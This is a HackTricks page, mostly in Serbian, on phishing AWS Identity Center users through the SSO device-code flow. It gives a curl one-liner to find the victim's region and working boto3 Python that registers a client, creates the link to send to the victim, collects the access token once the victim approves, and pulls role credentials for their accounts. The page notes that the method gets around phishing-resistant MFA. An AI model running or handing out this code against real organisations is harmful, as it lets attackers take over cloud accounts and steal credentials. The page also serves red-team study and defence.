AWS - Identity Center & SSO Unauthenticated Enum
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
AWS Device Code Phishing
Prvobitno predloženo u ovom blog postu, moguće je poslati link korisniku koji koristi AWS SSO, koji ako korisnik prihvati, napadač će moći da dobije token za impersonaciju korisnika i pristup svim rolama kojima korisnik može da pristupi u Identity Center.
Da bi se izveo ovaj napad, zahtevi su:
- Žrtva mora koristiti Identity Center
- Napadač mora znati subdomen koji koristi žrtva
<victimsub>.awsapps.com/start
Samo sa prethodnim informacijama, napadač će moći da pošalje link korisniku koji, ako bude prihvaćen, omogućava napadaču pristup AWS korisničkom nalogu.
Attack
- Finding the subdomain
Prvi korak napadača je da sazna koji subdomen koristi kompanija žrtve u svom Identity Center. Ovo se može uraditi putem OSINT ili pogađanja + BF, jer većina kompanija koristi svoje ime ili varijaciju svog imena ovde.
Sa ovom informacijom, moguće je dobiti region u kojem je Identity Center konfigurisan:
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
- Generišite link za žrtvu i pošaljite ga
Pokrenite sledeći kod da generišete AWS SSO login link kako bi žrtva mogla da se autentifikuje.
Za demo, pokrenite ovaj kod u python konzoli i ne izlazite iz nje jer će vam kasnije biti potrebni neki objekti za dobijanje tokena:
import boto3
REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
Pošaljite generisanu vezu žrtvi koristeći svoje sjajne veštine socijalnog inženjeringa!
- Sačekajte da žrtva prihvati
Ako je žrtva već bila prijavljena na AWS, samo će morati da prihvati dodeljivanje dozvola, ako nije, moraće da se prijavi i zatim prihvati dodeljivanje dozvola.
Ovako izgleda promp danas:
.png)
- Dobijte SSO pristupni token
Ako je žrtva prihvatila promp, pokrenite ovaj kod da generišete SSO token imitujući korisnika:
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
SSO pristupni token je važeći 8h.
- Imitirati korisnika
sso_client = boto3.client('sso', region_name=REGION)
# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])
# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])
# Get credentials over a role
sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
Phishing the unphisable MFA
Zanimljivo je znati da prethodni napad radi čak i ako se koristi "unphisable MFA" (webAuth). To je zato što prethodni tok rada nikada ne napušta korišćeni OAuth domen. Za razliku od drugih phishing napada gde korisnik mora da zameni domen za prijavu, u ovom slučaju je tok rada sa kodom uređaja pripremljen tako da kod poznaje uređaj i korisnik može da se prijavi čak i na drugom računaru. Ako se prihvati promp, uređaj, samo znajući inicijalni kod, će moći da dobije akreditive za korisnika.
Za više informacija o ovome proverite ovaj post.
Automatic Tools
- https://github.com/christophetd/aws-sso-device-code-authentication
- https://github.com/sebastian-mora/awsssome_phish
References
- https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/
- https://ruse.tech/blogs/aws-sso-phishing
- https://mjg59.dreamwidth.org/62175.html
- https://ramimac.me/aws-device-auth
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.